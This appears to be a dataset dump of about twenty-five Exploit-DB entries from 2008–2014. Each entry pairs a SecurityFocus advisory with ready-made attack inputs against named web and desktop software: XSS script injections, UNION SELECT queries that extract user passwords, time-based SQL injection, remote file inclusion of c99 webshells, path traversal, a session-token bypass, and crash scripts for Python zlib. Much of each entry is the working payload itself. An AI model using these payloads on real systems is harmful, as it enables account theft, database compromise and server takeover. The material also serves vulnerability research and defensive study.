QLWD/code_shield huggingface dataset:
标题: PHP-Stats 0.1.9.1 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31659 CVE: 2008-6212 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28824/info

Php-Stats is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Php-Stats 0.1.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/stats/admin.php?action=systems&mode=0&sel_anno=2008&sel_mese=[XSS]
http://www.example.com/stats/admin.php?action=systems&mode=0&sel_anno=[XSS] URL: https://www.exploit-db.com/exploits/31659
标题: MyBoard 1.0.12 - 'rep.php' Cross-Site Scripting EDB-ID: 31658 CVE: 2008-1955 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28823/info

MyBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MyBoard 1.0.12 is vulnerable; other versions may also be affected. 

http://www.example.com/MyBoard/rep.php?id=[XSS] URL: https://www.exploit-db.com/exploits/31658
标题: amfPHP 1.2 - '/browser/code.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31652 CVE: 2008-1917 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/28789/info
 
Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/code.php?class=[xss]
http://www.example.com/amfphp/browser/code.php?action=&codeType=&class=[xss]&location=[xss] URL: https://www.exploit-db.com/exploits/31652
标题: Istant-Replay - 'read.php' Remote File Inclusion EDB-ID: 31655 CVE: 2008-4911 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/28797/info

Istant-Replay is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[forum]/read.php?data=http://127.0.0.1/c99.txt? URL: https://www.exploit-db.com/exploits/31655
标题: Cezanne Software 6.5.1/7 - 'CFLogon.asp' Cross-Site Scripting EDB-ID: 31650 CVE: 2008-1967 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28774/info

Cezanne Software is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected.

The identified parameter is: "SleUserName"

URL: https://www.somesite.es/cezanneweb/CFLogon/CFLogon.asp
    (Use a Proprietary Account)

HTTP METHOD:POST
STRING:&#039;)"><script>alert("S21sec")</script> URL: https://www.exploit-db.com/exploits/31650
标题: ICQ 6 - 'Personal Status Manager' Remote Buffer Overflow (PoC) EDB-ID: 31656 CVE: 2008-1920 类型: DOS 平台: WINDOWS 发布日期: 2008-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/28803/info

ICQ is prone to a remote buffer-overflow vulnerability because the application fails to perform boundary checks before copying user-supplied data into sensitive process buffers.

A remote attacker may execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial of service.

This issue affects ICQ 6 build 6043; other versions may also be vulnerable. 

------
|<a href="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"><img
src="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" border="0" /></a>|
------ URL: https://www.exploit-db.com/exploits/31656
标题: EsContacts 1.0 - 'add_groupe.php?msg' Cross-Site Scripting EDB-ID: 31660 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info

EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/add_groupe.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31660
标题: Cezanne 7 - 'cflookup.asp?FUNID' SQL Injection EDB-ID: 31648 CVE: 2008-1968 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28773/info

Cezanne Software is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cezanne 7 is vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CFLookup.asp?FUNID=7302015;waitfor%20delay%20'0:0:20';--&InIFrame=1STRING:;waitfor%20delay%20'0:0:20';-- URL: https://www.exploit-db.com/exploits/31648
标题: W2B Online Banking - 'ilang' Remote File Inclusion EDB-ID: 31654 CVE: 2008-1893 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/28796/info

W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/index.php?ilang=http://www.example2.com/c99.txt URL: https://www.exploit-db.com/exploits/31654
标题: amfPHP 1.2 - '/browser/methodTable.php?class' Cross-Site Scripting EDB-ID: 31651 CVE: 2008-1917 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/28789/info

Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/methodTable.php?class=[xss] URL: https://www.exploit-db.com/exploits/31651
标题: Cezanne 7 - '/CznCommon/CznCustomContainer.asp?FUNID' SQL Injection EDB-ID: 31649 CVE: 2008-1968 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28773/info
 
Cezanne Software is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Cezanne 7 is vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;waitfor%20delay%20'0:0:05';--STRING:;waitfor%20delay%20'0:0:05';-- URL: https://www.exploit-db.com/exploits/31649
标题: CA 2E Web Option 8.1.2 - Authentication Bypass EDB-ID: 31647 CVE: 2014-1219 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-02-13 漏洞利用脚本: Vulnerability title: Unauthenticated Privilege Escalation in CA 2E Web Option

CVE: CVE-2014-1219
Vendor: CA
Product: 2E Web Option
Affected version: 8.1.2
Fixed version: N/A
Reported by: Mike Emery

Details:

CA 2E Web Option (r8.1.2) and potentially others, is vulnerable to unauthenticated privilege escalation via a predictable session token.
The POST parameter session token W2E_SSNID appears as follows:

W2E_SSNID=W90NIxGoSsN1023ZYW2E735182000013CLSpKfgkCJSLKsc600061JKenjKnE
JuNX9GoVjCEbqIuKh6kFRvbzYnUxgQtONszJldyAar3LtTSwsmBLpdlPc5iDH4Zf75


However, this token is poorly validated, leading to

W2E_SSNID=W90NIxGoSsN1023ZYW2E735182000013

being accepted as a valid session. By incrementing and
decrementing the digits at the end of the value given above, it is
possible to control the session at the given ID. This token is sent as
part of the login page, and as such, can be manipulated by an
unauthenticated attacker, giving them access to any valid session.
Consequentially, it is possible to access the following page as such:

https://app.domain.co.uk/web2edoc/close.htm?SSNID=W90NIxGoSsN1023ZYW2E735182000026

Ending the session specified, which could lead to a denial of service condition.

Further details at:
http://portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1219/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/31647
标题: amfPHP 1.2 - '/browser/details?class' Cross-Site Scripting EDB-ID: 31653 CVE: 2008-1917 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/28789/info
  
Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/details.php?class=[xss] URL: https://www.exploit-db.com/exploits/31653
标题: Cezanne 6.5.1/7 - 'home.asp?CFTARGET' Cross-Site Scripting EDB-ID: 31646 CVE: 2008-1969 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28772/info
  
Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/home.asp?CFTARGET=";}alert("S21sec")</SCRIPT>%20--> URL: https://www.exploit-db.com/exploits/31646
标题: EsContacts 1.0 - 'contacts.php?msg' Cross-Site Scripting EDB-ID: 31661 CVE: 2008-2037 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/28825/info
 
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/EScontacts_path/EsContacts/contacts.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/31661
标题: Cezanne 6.5.1/7 - 'CznCustomContainer.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31645 CVE: 2008-1969 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28772/info
 
Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CznCommon/CznCustomContainer.asp?ACTION=RETRIEVE&Columns=2&Title=7302053&TitleParms="></title><script>alert(&#039;%20S21Sec%20&#039;)</script>&WidgetsFunctions=7100027%2C7302015&WidgetsColumns=1%2C1&WidgetsTogglers=Y%2CY&WidgetsHeights=%2D1%2C%2D1&WidgetsLinks=&WidgetsTitles=%2D1%2C%2D1&HideNonWorkingWidgets=Y&FUNID=7302031&LINKID=%2D1 URL: https://www.exploit-db.com/exploits/31645
标题: osCommerce Poll Booth 2.0 AddOn - 'pollbooth.php' SQL Injection EDB-ID: 31640 CVE: 2008-4765 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/28752/info

osCommerce Poll Booth is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Poll Booth v2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/pollBooth.php?op=results&pollID=-1+union+select+password,1,2,3+from+users URL: https://www.exploit-db.com/exploits/31640
标题: Cezanne 6.5.1/7 - 'cflookup.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31644 CVE: 2008-1969 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/28772/info

Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CFLookUP.asp?LookUPId=>"><script>alert("S21sec")</script>&CbFun=Focus_CallBack&FUNID=7302062&CloseOnGet=yes URL: https://www.exploit-db.com/exploits/31644
标题: Trillian 3.1.9 - '.DTD' File XML Parser Buffer Overflow EDB-ID: 31639 CVE: 2008-6563 类型: REMOTE 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28747/info

Trillian is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

To exploit this issue, an attacker must entice an unsuspecting user to load a malicious '.dtd' file. Successfully exploiting this issue may allow remote attackers to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will cause denial-of-service conditions.

Trillian 3.1.9.0 Basic is vulnerable; other versions may also be affected.

http://www.p1mp4m.es/index.php?act=attach&type=post&id=18 URL: https://www.exploit-db.com/exploits/31639
标题: W2B PHPHotResources - 'cat.php' SQL Injection EDB-ID: 31636 CVE: 2008-1844 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28736/info

W2B phpHotResources is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects unknown versions of phpHotResources; we will update this BID when more details become available.

http://www.example.com/[path]/cat.php?lang=4&kind=-4214+union+select+1,user_name,password,4,5,6,7,8,9+from+users/* URL: https://www.exploit-db.com/exploits/31636
标题: Python zlib Module - Remote Buffer Overflow EDB-ID: 31634 CVE: 2008-1721 类型: REMOTE 平台: UNIX 发布日期: 2008-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/28715/info

Python zlib module is prone to a remote buffer-overflow vulnerability because the library fails to properly sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that relies on the affected library. Failed exploit attempts will result in a denial-of-service condition.

This issue affects Python 2.5.2; other versions may also be vulnerable. 

python-2.5.2-zlib-unflush-misallocation.py
------------------------------------------
#!/usr/bin/python

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living creature
        but man:
so that man is distinguished, not only by his reason, but also by this
        singular passion
from other animals; in whom the appetite of food, and other pleasures of
        sense, by
predominance, take away the care of knowing causes; which is a lust of
        the mind,
that by a perseverance of delight in the continual and indefatigable
generation of knowledge, exceedeth the short vehemence of any carnal
        pleasure.
"""

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg)
decompObj.flush(bad)

 
python-2.5.2-zlib-unflush-signedness.py:
----------------------------------------
#!/usr/bin/python

import zlib

msg = """
Society in every state is a blessing, but government even in its best
        state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are
        exposed to the same miseries by a
government, which we might expect in a country without government, our
        calamities is heightened by
reflecting that we furnish the means by which we suffer! Government,
        like dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of the
        bowers of paradise. For were
the impulses of conscience clear, uniform, and irresistibly obeyed, man
        would need no other
lawgiver; but that not being the case, he finds it necessary to
        surrender up a part of his property
to furnish means for the protection of the rest; and this he is induced
        to do by the same prudence which
in every other case advises him out of two evils to choose the least.
        Wherefore, security being the true
design and end of government, it unanswerably follows that whatever form
        thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is
        preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)
decompObj.flush(bad) URL: https://www.exploit-db.com/exploits/31634
标题: W2B Dating Club - 'browse.php' SQL Injection EDB-ID: 31637 CVE: 2008-1843 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28737/info

W2B Dating Club is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects unknown versions of Dating Club; we will update this BID when more details become available.

http://www.example.com/[path]/browse.php?mode=browsebyCat&_gender=0&age_from=15&age_to=-4214/**/union/**/select/**/1,user_name,password,4,5,6,7,8/**/from/**/users/*&country=&state=&field=body URL: https://www.exploit-db.com/exploits/31637
标题: Adobe Flash Player 8/9.0.x - '.SWF' File 'DeclareFunction2' ActionScript Tag Remote Code Execution EDB-ID: 31630 CVE: 2007-6019 类型: REMOTE 平台: LINUX 发布日期: 2008-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/28694/info

Adobe Flash Player is prone to a remote code-execution vulnerability when handling certain embedded ActionScript objects.

An attacker may exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Adobe Flash Player 9.0.115.0 and earlier versions are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31630.rar URL: https://www.exploit-db.com/exploits/31630
标题: HP OpenView Network Node Manager (OV NNM) 7.x - 'OpenView5.exe?Action' Traversal Arbitrary File Access EDB-ID: 31638 CVE: 2008-0068 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/28745/info

HP OpenView Network Node Manager is prone to multiple vulnerabilities affecting the 'ovalarmsrv.exe' and 'ovtopmd.exe' processes. These issues include a directory-traversal issue and multiple denial-of-service issues.

UPDATE (April 14, 2008): Secunia Research discovered, independently, that the 'OpenView5.exe' process is also prone to the directory-traversal issue; this affects Network Node Manager 7.51. Note that 'ovalarmsrv.exe' may also be named 'OpenView5.exe'.

Attackers can exploit these issues to access potentially sensitive data on the affected computer or to deny service to legitimate users.

HP OpenView Network Node Manager 7.53 is vulnerable; other versions may also be affected.

http://www.example.com/OvCgi/OpenView5.exe?Target=Main&Action=../../../../../../windows/win.ini URL: https://www.exploit-db.com/exploits/31638
标题: Pragmatic Utopia PU Arcade 2.2 - 'gid' SQL Injection EDB-ID: 31631 CVE: 2008-1733 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/28701/info

PU Arcade is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects PU Arcade 2.2; other versions may also be affected.

http://www.example..com/Path/index.php?option=com_puarcade&Itemid=1&gid=0 UNION SELECTpassword,username,0,0,0 from jos_users-- URL: https://www.exploit-db.com/exploits/31631
标题: Microsoft SharePoint Server 2.0 - Picture Source HTML Injection EDB-ID: 31632 CVE: 2008-1888 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/28706/info

Microsoft SharePoint Server is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data. Note that to perform attacks, an attacker requires access to a user account with sufficient privileges to edit pages.

Exploiting this issue may allow the attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Microsoft SharePoint Server 2.0 is vulnerable; other versions may also be affected.

"""></P></div></td><script>[your javascript here]</script> URL: https://www.exploit-db.com/exploits/31632